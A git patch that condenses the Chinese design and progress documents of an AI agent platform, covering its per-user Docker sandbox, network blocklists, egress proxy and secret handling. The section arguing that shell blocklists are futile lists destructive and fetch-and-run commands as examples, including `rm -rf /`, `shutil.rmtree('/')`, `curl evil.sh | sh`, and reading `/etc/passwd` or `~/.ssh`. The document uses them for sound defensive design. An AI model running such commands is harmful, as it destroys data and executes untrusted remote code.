From 4b839e64256d4b33e7fe9ee7701d0eeb817bd8fc Mon Sep 17 00:00:00 2001 From: caoqianming Date: Wed, 10 Jun 2026 16:34:16 +0800 Subject: [PATCH] =?UTF-8?q?docs:=20=E7=B2=BE=E7=AE=80=20DESIGN/PROGRESS,?= =?UTF-8?q?=E5=8E=8B=E7=BC=A9=E5=86=97=E4=BD=99=E5=AE=9E=E6=96=BD=E7=BB=86?= =?UTF-8?q?=E8=8A=82=E5=9B=9E=E8=AE=BE=E8=AE=A1/=E7=8A=B6=E6=80=81?= =?UTF-8?q?=E8=BE=B9=E7=95=8C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PROGRESS 把近期长段落条目压回"1-2 句:做了啥+关键判断"(细节归 git log),字节 81KB→30KB;状态表/文件清单刷到 06-10。 DESIGN §8 已落地的 token 优化/pptx 预览删逐步 checklist 只留取舍, §7.5 落地清单/§7.9 取舍压掉重复论证保留全部硬规则与红线,71KB→52KB。 架构本体 §1-§6 与 API/schema 未动。 Co-Authored-By: Claude Opus 4.8 (1M context) --- DESIGN.md | 206 ++++++++-------------------------- PROGRESS.md | 318 ++++++++++++++++++++++------------------------------ 2 files changed, 185 insertions(+), 339 deletions(-) diff --git a/DESIGN.md b/DESIGN.md index ebb7daf..b87e55d 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -384,68 +384,40 @@ create index on usage_events (model_profile, created_at); **网络**:容器默认 deny outbound 更安全;搜索和网页抓取走宿主后端受控工具。确需安装依赖时走受控 PyPI 镜像或 HTTP proxy,并计量下载量;不要让容器自由 `curl` 外网 / 内网 / cloud metadata。 **选型**:起步 Docker;流量起来后视情况换 gVisor / Firecracker / e2b。 -**落地清单(Stage C 实施硬协议,与 PROGRESS Stage C DoD 锚定)** — 原则到代码的具化,实施时按此对账,避免靠记忆: +**落地清单(Stage C 实施硬协议,与 PROGRESS Stage C DoD 锚定;实施时按此对账)**: -1. **网络 blocklist 硬编码段**(容器 iptables 启动脚本必含,**任一缺失视为 Stage C 未完成**): - - `169.254.0.0/16`(cloud metadata,AWS/GCP/Azure 通用 SSRF 攻击向量,Capital One 2019 同款) - - `127.0.0.0/8` / `::1`(loopback,防容器回头打宿主端口) - - `10.0.0.0/8` / `172.16.0.0/12` / `192.168.0.0/16`(内网三段) - - `100.64.0.0/10`(CGNAT,云平台常用) - - **PG 实际 IP 单独再 block 一遍**(belt-and-suspenders,无论它落在哪个段;Docker 用户自定义网络 / VPC peering 等设置会让"段级 block 看似已覆盖"实际能直连) +1. **网络 blocklist 硬编码段**(容器 iptables 启动必含,**任一缺失=Stage C 未完成**):`169.254.0.0/16`(cloud metadata SSRF)、`127.0.0.0/8`+`::1`(loopback)、内网三段 `10/8`+`172.16/12`+`192.168/16`、`100.64.0.0/10`(CGNAT);**PG 实际 IP 单独再 block 一遍**(belt-and-suspenders,自定义网络/VPC peering 会让段级 block 看似覆盖实际能直连)。 -2. **网络 egress 模型**:容器内 `HTTP_PROXY` / `HTTPS_PROXY` env 强制走宿主侧 proxy + 容器 iptables `DROP outbound except `(防 SDK 不读 env 绕过)。Proxy 跑宿主侧(Squid 或自家 aiohttp),负责:① 域名 allowlist;② 红线段 IP block(同上,proxy 侧也再做一次,defense-in-depth);③ per-user 出网字节计量,纳入 §7.5 软配额(超额 429);④ 审计日志 `network_audit (user_id, task_id, ts, method, host, path, status, bytes_in, bytes_out)`。**Allowlist 初始集**:`*.pypi.org` / `*.pythonhosted.org` / `github.com` / `raw.githubusercontent.com` / `codeload.github.com` / `objects.githubusercontent.com` / `*.npmjs.org` + 部署配置的 PyPI 镜像域名。后续按用户反馈逐步加,优于"全开后某天挖矿事件"。 +2. **网络 egress 模型**:容器内 `HTTP(S)_PROXY` 走宿主侧 proxy + iptables `DROP outbound except `(防 SDK 不读 env 绕过)。宿主 proxy 负责:① 域名 allowlist;② 红线段 IP block(再做一次);③ per-user 出网字节计量入软配额(超额 429);④ 审计日志 `network_audit`。**Allowlist 初始集**:`*.pypi.org`/`*.pythonhosted.org`/`github.com`/`raw|codeload|objects.githubusercontent.com`/`*.npmjs.org` + 部署的 PyPI 镜像域名。 -3. **进程组清理协议**:`docker exec` 命令通过 `setsid` 包一层(`docker exec setsid ` 或在容器 entrypoint 内封装);timeout / cancel / 正常结束三种路径都走 `kill -- -PGID` 杀整个进程组。**目的**:防 `nohup &` / `disown` / 派生 daemon 在容器内跨 exec 持久化。同 user 不做内隔离 → 残留进程能看到后续 exec 的 in-memory 状态,这是接受的 #1 残留风险,但其前提是没有 stale 进程能跨 exec 存活——这条协议守不住,残留风险就放大成"跨对话持久后门"。 +3. **进程组清理协议**:`docker exec` 通过 `setsid` 包一层,timeout/cancel/正常结束三路径都 `kill -- -PGID` 杀整组。**目的**:防 `nohup &`/`disown`/派生 daemon 跨 exec 持久化——同 user 不做内隔离,stale 进程能看到后续 exec in-memory 状态,守不住这条残留风险就放大成"跨对话持久后门"。 -4. **磁盘配额硬化时点**:首版用应用层统计 + 周期扫描(对应 §7.5 软配额);**外部用户开放前必须升级到 xfs project quota 或 ext4 project quota 或 zfs dataset quota**。否则"扫描间隙打满共享 fs"会拖死同节点其他 user(攻击者写满速度远快于扫描周期),且不属于配额超额行为,排查痛苦。 +4. **磁盘配额硬化时点**:首版应用层统计 + 周期扫描(=软配额);**外部用户开放前必须升级到 xfs/ext4 project quota 或 zfs dataset quota**。否则扫描间隙打满共享 fs 会拖死同节点其他 user(写满远快于扫描周期),且不算配额超额、排查痛苦。 -5. **Executor 接口签名 + runtime config 注入**:不在工具调用层 hard-code `docker exec`,通过 backend driver 抽象: - ```python - class Executor: - async def call_tool(self, tool: str, args: dict, ctx: ExecCtx) -> ToolResult: ... - ``` - Container 创建参数走 config:`ZCBOT_SANDBOX_RUNTIME=runc|runsc|...`(默 `runc`),per-user 容器起的时候 `docker run --runtime=`。**理由**:未来切 gVisor / Firecracker / Kata / e2b 时应用层零改动(只换 backend driver + 改 config + 重启容器),避免接口形状泄漏 Docker 假设(`docker exec` / `docker cp` / `docker stats`)导致后期重写。 +5. **Executor 接口 + runtime config 注入**:不在工具层 hard-code `docker exec`,走 backend driver 抽象(`Executor.call_tool(tool, args, ctx)`);container runtime 走 config `ZCBOT_SANDBOX_RUNTIME=runc|runsc`(`docker run --runtime=`)。**理由**:未来切 gVisor/Firecracker/Kata/e2b 应用层零改动,避免接口泄漏 Docker 假设(`docker exec/cp/stats`)致后期重写。 -6. **工具按信任域二分,Executor 内部 dispatch**(2026-05-26 修正,原"host 工具走 paths.py::resolve_user_path 校验"是假命题,代码里没那函数;Ubuntu dogfood 第一次切 docker backend 发现 glob 工具仍列 host repo `.git/.venv/...`,改物理边界替代代码护栏): - - **Container exec backend**:`shell` / `run_python` / `read` / `write` / `edit` / `glob` / `grep` — 全走 docker exec。shell/run_python 是任意代码必须隔离;fs 工具(read 等 5 个)以前在 host 跑 `base_dir = Path.cwd()` 无 user_root 校验,能读 host 全 fs(`/etc/passwd` / zcbot 源码 / `~/.ssh/`),改进容器后 `user_root=/workspace` 是物理边界。fs 工具调用形态:`docker exec --user zcbot --workdir /workspace/ -i python /sandbox/tool_runner.py ` + stdin 喂 JSON args(CJK / 引号 / 路径分隔符透明传,不被 shell metachar 切)。`tool_runner.py` 在镜像里 `/sandbox/`,复用 `tools/fs.py` 的 Tool 子类(`COPY tools/ /sandbox/tools/`);skill references 通过额外的 `/skills:/sandbox/skills:ro` mount 暴露(只读)。 - - **Host in-process backend**:`load_skill` / `web_search` / `web_fetch` / `seedream` / `seedance` / `document_*` / `mp_*` — 持 Bocha/ARK/document_search/MP API key 不能塞容器 env(SaaS 时 key 泄漏面增加);`load_skill` 是 SkillRegistry 内存查找,无 fs 访问越界可能。Step 4 egress proxy 之后再讨论这几个工具的容器化方案(media tool 调远端 API 走 proxy 比 key 入容器更直)。 - - Dispatcher(`DockerExecutor`)内部分流,使用方(`AgentLoop`)零感知。**接口形状按"未来若需全部进容器 + 内部 tool-runner unix socket RPC"留好**,升级触发信号见下表。 - - **代价**:每个 fs tool call 多 ~200ms docker exec overhead;对话级 N≤15 → 总 1-3s,LLM 推理时间 5-30s 下面噪声。镜像 build 多一步 `COPY tools/`,rebuild 增量 ~5s。 +6. **工具按信任域二分,Executor 内部 dispatch**(2026-05-26 修正:原"host 工具走 `resolve_user_path` 校验"是假命题无此函数;dogfood 发现 glob 仍列 host repo,改物理边界替代代码护栏): + - **Container exec backend**:`shell`/`run_python`/`read`/`write`/`edit`/`glob`/`grep` 全走 docker exec。shell/run_python 是任意代码;fs 工具以前 host 跑 `base_dir=Path.cwd()` 无 user_root 校验能读 `/etc/passwd`/源码/`~/.ssh`,进容器后 `user_root=/workspace` 是物理边界。调用形态:`docker exec --user zcbot --workdir /workspace/ -i python /sandbox/tool_runner.py ` + stdin 喂 JSON args(CJK/引号透明传);`tool_runner.py` 复用 `tools/fs.py`,skill references 走 `skills:/sandbox/skills:ro` mount。 + - **Host in-process backend**:`load_skill`/`web_*`/`seedream`/`seedance`/`document_*`/`mp_*` — 持 key 不能进容器 env;`load_skill` 是内存查找无越界。 + - Dispatcher(`DockerExecutor`)内部分流,`AgentLoop` 零感知;接口形状按"未来全进容器 + tool-runner unix socket RPC"留好(升级信号见下表)。**代价**:每 fs tool call 多 ~200ms,对话级 N≤15 → 1-3s,LLM 推理 5-30s 下噪声。 -7. **Secret-bearing domain tools 不进 sandbox,不做 key 下发**(2026-06-01 补充): - - 原则:凡是需要 `*_API_KEY` / OAuth token / DB credential 的能力,**不能**以 `run_python` helper 形态要求容器读 env,也不能做"credential broker 给 sandbox 发短期 key"。sandbox 内的任意代码可 `print(os.environ)` / monkeypatch SDK / exfiltrate 请求头;短期 token 只缩短有效期,不改变"不可信代码拿到 secret"这个根因。 - - 正确形态:把这类能力做成 **host-side JSON tool**。LLM 传非敏感业务参数 → host tool 从宿主 env / secret manager 取 key 调远端 API → 对返回做字段裁剪 / 大小限制 / 配额计量 / 审计 → 只把业务结果或写入 workspace 的文件路径返回给模型。容器最多读到落盘产物,永远读不到 key / Authorization header。 - - 现有命中问题: - - `documents` skill 当前 `skills/documents/client.py` 要在 `run_python` 里读 `DOCUMENT_SEARCH_API_KEY`,所以 docker sandbox 下必然不可用;应改为 host tool `document_list_kb` / `document_search` / `document_download`,key 只在 host client 内使用,download 写入当前 task_dir 的 `documents/` 后返相对路径。 - - `pymatgen` skill 的离线计算(`Structure.from_file` / `XRDCalculator` / `SpacegroupAnalyzer`)继续在 sandbox 跑;Materials Project 联网查询不能让 `mp_rester()` 在 sandbox 读 `MP_API_KEY`,应拆成 host tool `mp_search_summary` / `mp_get_structure` / `mp_get_entries`。host tool 返回裁剪后的 summary 或把 CIF/JSON 写到 task_dir,后续离线 pymatgen 再读文件计算。 - - 注册规则:host tool 仅在对应 env 存在时注册;未配置时 schema 不暴露,skill 文档提示降级路径。这样模型不会看到一个永远失败的工具,也不会被诱导在 sandbox 中寻找 secret。 - - 审计与配额:这类 host tool 按 user/task 记录 `usage_events` 或专门 audit 表(请求类型、目标服务、返回条数、下载字节、耗时、错误码),纳入月度 cost / 网络下载量 / 单次结果大小限制。返回给 LLM 的正文必须默认截断,大文本落文件后由 `read` 按需读取。 +7. **Secret-bearing domain tools 不进 sandbox,不做 key 下发**(2026-06-01):凡需 `*_API_KEY`/OAuth/DB credential 的能力**不能**让容器读 env,也不做"credential broker 发短期 key"(sandbox 内任意代码可 `print(os.environ)`/monkeypatch SDK,短期 token 只缩有效期不改根因)。正确形态=**host-side JSON tool**:LLM 传非敏感业务参数 → host tool 取 key 调远端 API → 裁剪/限大小/计量/审计 → 只返业务结果或落盘文件路径,容器最多读到落盘产物。已落地:`documents`/Materials Project 改 host tool(详 PROGRESS 06-01)。注册规则:仅对应 env 存在时注册,否则 schema 不暴露 + skill 文档提示降级。 -**升级触发信号(写下来防遗忘,反向兜底:无信号不升级)**: +**升级触发信号(反向兜底:无信号不升级)**: | 升级方向 | 触发信号 | 不升级的理由 | |---|---|---| -| Docker → **gVisor** (`runsc`) | 开放陌生用户注册 / 容器逃逸 CVE 公开未及时打补丁窗口期 / 出现可疑 syscall 模式告警 | 现状 Docker + 完整 hardening 已挡住主流容器逃逸路径外的攻击,剩下 kernel 0day 在 dogfood + 信任用户阶段不是 #1 风险;gVisor syscall 重 -30~50% 是真代价 | -| gVisor → **Firecracker / e2b** | 合规客户(PCI / HIPAA) / 高密度多租户(单机 100+ user) / gVisor 兼容性墙撞死(某 C 扩展跑不起来) | Firecracker 内存账每 VM 100MB+ 起步,zcbot 量级不划算;e2b 让数据出去执行再回来,与 storage_root 自持模型冲突 | -| `docker exec` → **容器内 tool-runner**(unix socket RPC) | metric `docker_exec_overhead / total_tool_time > 30%` 持续两周 / "模型在容器内起长驻 web 服务并对外服务"工作流 / 单 task 一轮工具调用 >20 次 | 自管进程组清理 + 自管 cgroup 切片 + 协议自带状态污染面 + 失去 Docker 工具链观测(`docker stats` / `docker top` / `docker exec -it bash` 紧急介入)代价 >> 那 200ms × N 收益;**美学统一性 ≠ 升级理由** | +| Docker → **gVisor**(`runsc`) | 开放陌生注册 / 逃逸 CVE 未及时打补丁窗口 / 可疑 syscall 告警 | Docker + 完整 hardening 已挡主流逃逸,kernel 0day 在 dogfood 阶段非 #1 风险;gVisor syscall -30~50% 是真代价 | +| gVisor → **Firecracker / e2b** | 合规客户(PCI/HIPAA) / 单机 100+ user / gVisor 兼容墙撞死 | Firecracker 每 VM 100MB+ 起步不划算;e2b 数据出去执行与 storage_root 自持模型冲突 | +| `docker exec` → **容器内 tool-runner**(socket RPC) | `docker_exec_overhead/total > 30%` 持续两周 / 模型起长驻 web 服务 / 单轮工具调用 >20 次 | 自管进程组清理 + cgroup + 状态污染面 + 失去 Docker 工具链观测,代价 >> 200ms×N;**美学统一性 ≠ 升级理由** | -**Image 体积 / 多 user 资源 / 后续加包策略**(2026-05-28): +**Image 体积 / 多 user 资源 / 加包策略**(2026-05-28):sandbox image ~1.5G(python+chromium+node+mermaid),后续 domain 包还会推大。三点认知分开: -zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后续 domain 包(rdkit / pymatgen / ASE / pandoc-tex 等)还会进一步推大。先把三件事认知分开,避免把 image 大小当万能背锅侠: +1. **Image 大 ≠ 运行时吃更多资源**:空载 `sleep infinity` RSS 个位数 MB,image 里的库不 exec 只是磁盘字节;layer 共享让 N 个 user 容器磁盘乘数=1。真吃 RAM 的是 active exec(chromium 渲 mermaid 瞬时 200-500MB),跟 image 大小解耦。 +2. **多 user 瓶颈在并发 exec 不在 idle 容器**:100 idle 容器几百 MB 可接受;10 user 同渲 mermaid 瞬时 2-5GB 才是瓶颈。**杠杆全在运行时**(单容器 `--memory/--cpus/--pids-limit` + 同 user exec semaphore + 整机 active cap + idle 5min 回收),减 image 体积对这条曲线无影响。 +3. **新增依赖:base 收敛 + per-user 持久化 venv + 使用频次沉淀**:重包(torch/texlive)或长尾 domain 包不进 base,中高频+轻量的留 base;**采用 per-user venv** 落 `/.venv/`(bind mount 进容器 idle 回收不丢,`pip install --target` + `PYTHONPATH` 注入)。不放共享 named volume(破坏跨 user 隔离,install 脚本是任意代码);不依赖 pip cache(只省网络、回收照丢)。**沉淀机制**:audit 统计 >30% user 装过 ≥3 次的包 → 下次 build 合并进 `requirements.txt`,base 跟真实使用收敛。 -1. **Image 大 ≠ 运行时吃更多资源**。`deploy/sandbox/Dockerfile:120` 启动是 `tini → init.sh → sleep infinity`,空载 RSS 个位数 MB;image 里的 chromium / numpy / npm 不 exec 就只是磁盘字节,不进内存。layer 共享让 N 个 user 容器共用同一个 image,磁盘乘数 = 1。**真吃 RAM 的是 active exec**(chromium 渲 mermaid 瞬时 200-500MB,大数据集另算),跟 image 大小解耦,跟"模型让容器干啥"挂钩。 -2. **多 user 同时在线的瓶颈在并发 exec,不在 idle 容器**。100 个 idle per-user 容器约几百 MB RSS,可接受;10 个 user 同时让模型渲 mermaid 瞬时 2-5 GB,这才是瓶颈。**杠杆全在运行时**:`docker run --memory --cpus --pids-limit` 单容器硬顶 + 同 user 并发 exec semaphore + 整机 active user cap(超额排队 / 429)+ idle 5 分钟回收(已规划)。**减 image 体积对这条曲线不产生影响**,不在 image 上花减肥功夫。 -3. **新增依赖策略:base 收敛 + per-user 持久化 venv + 使用频次沉淀**: - - **(a) 全塞 base**:重 (torch 1G+ / texlive 2G+) 或长尾 domain 包不该进,build 慢 / pull 慢 / 所有 user 拍磁盘陪绑;但中高频 + 多 skill 共用 + 轻量(MB 级)的继续放 base(当前 `requirements.txt` 大致就是这类)。 - - **(b) 运行时临时装**:适合单次实验;**容器 idle 回收即丢**,冷启又装,高频复用差。 - - **(c) 多 image 按场景分**:per-user 容器模型下 user 不知道自己要哪个,切 skill 还得换 image —— 心智不通,**不采用**。 - - **采用:(a) + 持久化 per-user venv**。每个 user 一个持久化 venv 落 `/users//.venv/`(随 user_root bind mount 进 `/workspace/.venv/`,容器 idle 回收不丢);模型用 `pip install --target=/workspace/.venv/site-packages` 装到持久化路径,exec 时 `PYTHONPATH=/workspace/.venv/site-packages` 注入。**沉淀机制**:加 audit 统计哪些包累计被 >N% user 装过 → 下次 image build 时合并进 `requirements.txt`,base 跟着真实使用模式收敛而非拍脑袋。 - - **为什么不把 venv 放 named volume / image cache**:跨 user 共享 venv 破坏跨 user 隔离(包 install 脚本是任意代码,一个 user 装的 setup.py 可读另一 user 的 venv);per-user 隔离 venv 与 §7.5 跨 user 隔离 / 同 user 内不隔离的边界一致。 - - **为什么不依赖 pip cache**:pip cache 只省网络 / 不省落盘,装到 `/tmp` 容器一回收照样丢;venv 持久化才解决"冷启不重装"。 - - **npm / chromium / pandoc 等系统级保持 base**,无机非金属材料场景下 per-user node_modules 没必要分。 - - **沉淀阈值起步 >30% user 装过 ≥ 3 次** 进 base;过低噪声多,过高沉淀慢,后续按观察调。 - -`Image 大 = 资源占用大` 是表象关联,真因子是 active exec 行为 + 单 user 容器并发限制;`继续往 base 加包 vs 临时装` 是伪二选一,**长尾私有 + 高频沉淀**是更合身的形状。落地排期对应 Step 6 Executor 实施(`PROGRESS.md` Stage C):cgroup limits / 并发 semaphore / idle 回收 / per-user venv mount 一并进 `DockerExecutor`;audit 沉淀机制可延后,有 dogfood 安装日志再开。 +落地对应 Stage C `DockerExecutor`(cgroup limits / 并发 semaphore / idle 回收 / per-user venv);audit 沉淀可延后。 ### 7.6 Core 代码改造(按依赖顺序) @@ -527,135 +499,55 @@ zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后 **Tasks/Messages 在 PG 但 skill 产物在 FS**:tasks / messages 需要查询、过滤、全文搜、跨 task 统计 — DB 强项;skill 产物(`*.pptx` / `*.docx` / `sections/*.md`)终用户拿走,期望文件管理器看到、Office 打开、邮件发出 — 进 DB 要做"导出"多余操作。**FS 是产物天然存储,DB 是元数据 / 状态 / 索引天然存储**。同理 §7.5 bind mount = user root,容器里 ≡ 用户在 Web UI 看到的目录,无中间层翻译;per-user 容器天然匹配这个边界,per-task 容器会把同 user 共享工作区人为切碎。 -**同 wd 多 task 并发不做 gate / clone / 物理隔离,只做软警告**(2026-05-21):候选方案过 γ(同 wd 单活 run gate)/ short_id 全产物隔离 / clone task 三种 — 最终都判定过度工程。dogfood 经验:同 wd 多 task 主要是"项目对话历史轨迹",并发频率近 0(用户开新 task 多数是想换思路重启,但不与旧 task 同时跑)。**走 Claude Code 同款"信任 + 软警告 + 承认 limitation"**(它官方文档把"多 session 同 cwd plan 文件互覆"也定为 known limitation,推荐 git worktree 但不强制),不在主路径加复杂度。dev SPA 在 selectTask + SSE 收尾两个触发点拉 `GET /v1/tasks?working_dir=&run_status=running,cancelling`,有命中挂 banner;真高频再升级 γ。**为什么不选 γ**:同 wd 单活硬挡破坏"扁平共享中间产物"对应的对话切换流畅性,且 cancelling 状态可能阻塞用户 retry 时一个错觉的"我没在跑啊";**为什么不选 short_id 全产物**:破坏 §7.1 同 wd 共享中间产物语义(扁平 figures/sections/ 跨 task 复用)+ SKILL.md 改造成本;**为什么不选 clone task**:解决的是"真要并行"罕见场景,工程量(cp -r + 新 task 流程 + UI 入口)对零频场景过重。 +**同 wd 多 task 并发不做 gate / clone / 物理隔离,只做软警告**(2026-05-21):dogfood 经验同 wd 多 task 主要是"项目对话历史轨迹",并发频率近 0。走 Claude Code 同款"信任 + 软警告 + 承认 limitation",dev SPA 在 selectTask + SSE 收尾拉同 wd 活跃邻居挂 banner,不挡发送,真高频再升级。**不选 γ(同 wd 单活 gate)**:硬挡破坏扁平共享中间产物的切换流畅性;**不选 short_id 全产物隔离**:破坏 §7.1 共享语义 + SKILL 改造成本;**不选 clone task**:对零频"真要并行"场景工程量过重。 -**`shell` / `run_python` 不在工具层加强黑名单,SaaS 上线前 §7.5 sandbox 是 hard prereq**(2026-05-21,05-25 更新):`tools/shell.py::BLOCKED_PATTERNS` 只挡 `rm -rf /` / `mkfs` / `dd` / fork bomb 几个明显失误,任何稍有意识的攻击者都绕得过 —— 双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd / && rm -rf *` / 间接 `bash script.sh` 全过。`cwd=base_dir` 只是起点不是 chroot,绝对路径 / `cd` 跑出去毫无阻力。**为什么不在它上面继续加规则**:命令注入的攻击面是图灵完备的(`shell=True` + 任何脚本语言可执行),黑名单不可能枚举完,做得越复杂越给人虚假安全感,且会误伤合法用法(`ls *.py | wc -l` / 重定向 / 子 shell)。**正确防线在 OS 层而非工具层**:§7.5 per-user sandbox container + per-tool exec + drop ALL caps + read-only rootfs + bind mount = own user root + default-deny network + cgroup limits,这是 SaaS 开放外部用户的 hard prereq,Stage C 完成前一律仅 dogfood + 信任同事白名单手动加,DESIGN §7.7 / §7.8 已标 blocking。**为什么 per-user 而非 per-task**:用户文件模型就是 user-rooted,同 user 多 task 共享素材 / memory / working_dir 是产品价值;安全目标是跨 user 隔离,不是同 user task 互隔。**为什么不是所有操作都进容器**:auth / DB / files API / SSE / LLM / 受控 web 工具属于 control plane,必须留在宿主后端做权限和审计;只有不可信代码执行进 execution plane。**为什么不选"shell=False + 拒管道 / 重定向 / `$()`"折中**:挡不住 `python -c` / `bash script.sh` 间接路径(任何脚本语言都可执行任意系统调用),且砍掉大量合法 shell 用法让 agent 体验崩,给人虚假安全感。**本地 dogfood 现状接受风险**:用户自己的机器 + 自己输的 prompt,blast radius 限自身,§5 "less scaffolding more trust" 适用;外部用户场景 blast radius 是 SaaS 主机 + 其他 user 数据 + cloud IAM,信任模型完全不同,必须 §7.5。 +**`shell` / `run_python` 不在工具层加强黑名单,§7.5 sandbox 是 SaaS hard prereq**(2026-05-21,05-25):`BLOCKED_PATTERNS` 只挡几个明显失误,稍有意识就绕过(双空格 / `bash -c` / `python -c` / `curl|sh` / `cd /` 全过),`cwd` 非 chroot。**不继续加规则**:命令注入图灵完备(`shell=True` + 任何脚本语言),黑名单枚举不完、越复杂越虚假安全感、误伤合法用法。**正确防线在 OS 层**:§7.5 per-user 容器 + drop ALL caps + read-only rootfs + bind mount own root + default-deny network + cgroup,Stage C 前仅 dogfood + 信任白名单。**per-user 非 per-task**:文件模型 user-rooted,安全目标是跨 user 隔离非同 user task 互隔。**非所有操作进容器**:auth/DB/files/SSE/LLM/受控 web 工具属 control plane 留宿主做权限审计,只有不可信代码进 execution plane。**本地 dogfood 接受风险**:自己机器 + 自己 prompt,blast radius 限自身(§5);外部场景 blast radius 是主机 + 他人数据 + cloud IAM,信任模型不同必须 §7.5。 -**task 级「宪法」文件靠文件名隔离,不 cascade / 不入 DB / 不开物理子目录**(2026-05-20):同 working_dir 多 task **共享中间产物**(`source/` / `sections/` / `figures/`)是真实价值(素材跨多本子复用),但 spec 这种 task 1:1 宪法文件必须隔离(两本子 spec 直接撞)。文件名 `--..md`:`task_short_id`(`task_id.hex[:8]`,永不变)主锚,glob `*--*..md` 字典序最大 = current 版本;`` 让"重定调"写新文件而非 edit 覆盖,旧版自然成历史快照;`` 仅作"建时元数据 / 人类可读说明",改 name 不 cascade(由 short_id 兜底定位)。**反方案不选**:① cascade rename — in-flight run 期间文件丢 + 复杂度上升;② DB 化(spec 入 PG)— 架构最干净但工作量 5-10×,且失"用户直接编辑 markdown"能力,且 spec 字段还在演化没必要这么早 schema 化;③ 物理 task 子目录(`//`)— 破坏 §7.4 中间产物扁平共享设计。**升级到 DB 化的信号**:dev SPA 想做结构化编辑视图 / 想跨 task 查询 spec 字段(基金类型 / 经费 / 考核指标)/ markdown 版本文件堆积乱。约定由 `core/agent_builder.py::_build_system_prompt` 单点注入(`task_id` / `today` 实际值嵌入),所有 skill SKILL.md 引用同一份(目前 proposal / ppt 的 `spec`,未来 `outline` 等同款)。 +**task 级「宪法」文件靠文件名隔离,不 cascade / 不入 DB / 不开物理子目录**(2026-05-20):同 wd 多 task 共享中间产物(source/sections/figures)是价值,但 spec 这种 1:1 宪法文件必须隔离。文件名 `--..md`:`short_id`(`task_id.hex[:8]` 永不变)主锚,glob 字典序最大=current;日期让"重定调"写新文件成历史快照;`task_name` 仅可读说明,改 name 不 cascade(short_id 兜底)。**不选**:① cascade rename(in-flight 丢文件 + 复杂);② DB 化(最干净但工作量 5-10× 且失"直接编辑 markdown"、spec 字段还在演化);③ 物理 task 子目录(破坏扁平共享)。**升级 DB 化信号**:想做结构化编辑视图 / 跨 task 查 spec 字段 / 版本文件堆积乱。约定由 `_build_system_prompt` 单点注入,所有 skill SKILL.md 引用同一份。 --- -## 8. 未来步骤(草案,status=design) +## 8. 未来步骤 / 已落地设计 -### 8.1 图像理解 + Seedream i2i(2026-05-29) +> 实施细节(步骤清单 / 验收项)进 PROGRESS + git;此处只留缺口、选型与取舍。 -**缺口**:DeepSeek V4 主模型纯文本无视觉;`tools/seedream.py` 只 t2i;用户场景"seedream 出图 → 基于该图二次修改" / "上传外部参考图让 agent 据此干活"两条路径都未覆盖。 +### 8.1 图像理解 + Seedream i2i(2026-05-29,status=design 待启动) -**选 E + C 组合**:`tools/seedream.py` 加 `reference_images` 参数走 seedream 5.0 i2i + 新增 `tools/look_at_image.py` 走豆包 Seed 1.6 vision 单图理解。 +**缺口**:DeepSeek V4 主模型纯文本无视觉;`seedream` 只 t2i;"基于已生成图二次修改" / "上传外部参考图让 agent 据此干活"两条路径未覆盖。 -**为什么不选 A(主模型换多模态)**:DeepSeek V4 的 code / tool calling 质量是 zcbot 主路径核心,换豆包 Seed 1.6 当主 chat 模型降 code 能力 + 拉低 tool calling 稳定性,且要改 `core/loop.py` 引入 multimodal content list 路径 + `core/memory.py` vision-aware 压缩 — 工程面 5× 且破坏现有架构。 +**选 E + C 组合**:`seedream` 加 `reference_images` 走 i2i(改已生成图,像素级)+ 新增 `look_at_image` 走豆包 Seed 1.6 vision 单图理解(读外部图,DeepSeek 自决何时调)。改动面=2 tool + 1 prompt 段 + 1 yaml 段,不动 loop / llm / capabilities / DB / 前端。 +- **不选 A(主模型换多模态)**:V4 的 code / tool calling 是主路径核心,换豆包当主 chat 降能力 + 要改 loop/memory 引 multimodal,工程 5× 且破坏架构。 +- **不选 B(后台 vision 路由)**:每条消息隐式 vision 描述 = 多烧 token + 1 跳延迟 + 失去 agentic 控制权 + debug 难。 -**为什么不选 B(后台 vision 路由)**:用户每条消息隐式调一次 vision 描述 → 多烧 token + 多 1 跳延迟;DeepSeek 失去"自决何时看图"的 agentic 控制权;hidden prompt 影响描述质量,debug 难。 +**关键实测**:Seedream 5.0 `/images/generations` 接受 `image_urls` base64 data URL,200 返新图 → **内网无需对象存储中介**(排除最大工程不确定性)。约束:输出 ≥~1920²、单张参考 ≤10MB、最多 14 张。 -**为什么 E + C 协作**:E 覆盖"改已生成图"(seedream 端到端无损像素级);C 覆盖"理解外部图"(DeepSeek 自决何时调,按需烧 token)。改动面集中在 **2 个 tool + 1 个 prompt 段 + 1 个 yaml 段**,**不动 loop / llm / capabilities / DB schema / 前端**。 +**风险 / 边界**:v1 只支持单张参考(multi-ref 角色定义靠 prompt,留 v2);base64 ARK 未承诺长期稳定(收紧则降级走 TOS 上传换 URL)。 +**升级到 A 的信号**:用户要"贴图同时说话模型直接读图回话",或多轮带图成高频 —— 当前假设"图是工具调用对象"而非"对话内容"。 -**关键实测(2026-05-29 `scripts/probe_seedream_i2i.py`)**:Seedream 5.0 (`doubao-seedream-5-0-260128`) `/images/generations` 接受 `image_urls=["data:image/png;base64,..."]`,200 返回新图 TOS URL + `usage.generated_images=1`。约束:输出 `size` ≥3686400 像素(~1920²),单张参考 ≤10MB,最多 14 张。**base64 通路成立 → 内网部署无需对象存储中介,排除最大工程不确定性**。 +### 8.2 Token 优化与上下文治理(2026-06-04,✅ 已落地,详 PROGRESS) -**实施清单(待启动)**: -1. `config/media/doubao.yaml` 加 `vision: seed_1_6:` 段(model_id + endpoint + 视觉 token 单价);顺手核对 seedream image 单价 0.22 vs 实测 ~0.25 CNY -2. `tools/seedream.py` 加 `reference_images: array[str]` + `seed: int` 参数;路径校验在 workdir 内 + ≤10MB + 扩展名白名单(png/jpg/webp);meta.json 多记 reference_images -3. `tools/look_at_image.py` 新建:走 `ark_client` POST `/chat/completions` OpenAI 多模态格式(`{"type":"image_url","image_url":{"url":"data:..."}}`);`record_chat_usage(model_profile="doubao.seed_1_6_vision")`,不入 `images_per_day` 配额 -4. `prompts/system/general_v1.md` 加图像协作引导段(改图 → seedream i2i;问图/读图 → look_at_image) -5. 端到端 smoke:`scripts/smoke_seedream_i2i.py` + `scripts/smoke_look_at_image.py` -6. (可选)前端 `dev.html` seedream 产物 chip 加"基于此图改"按钮(把路径塞下一条 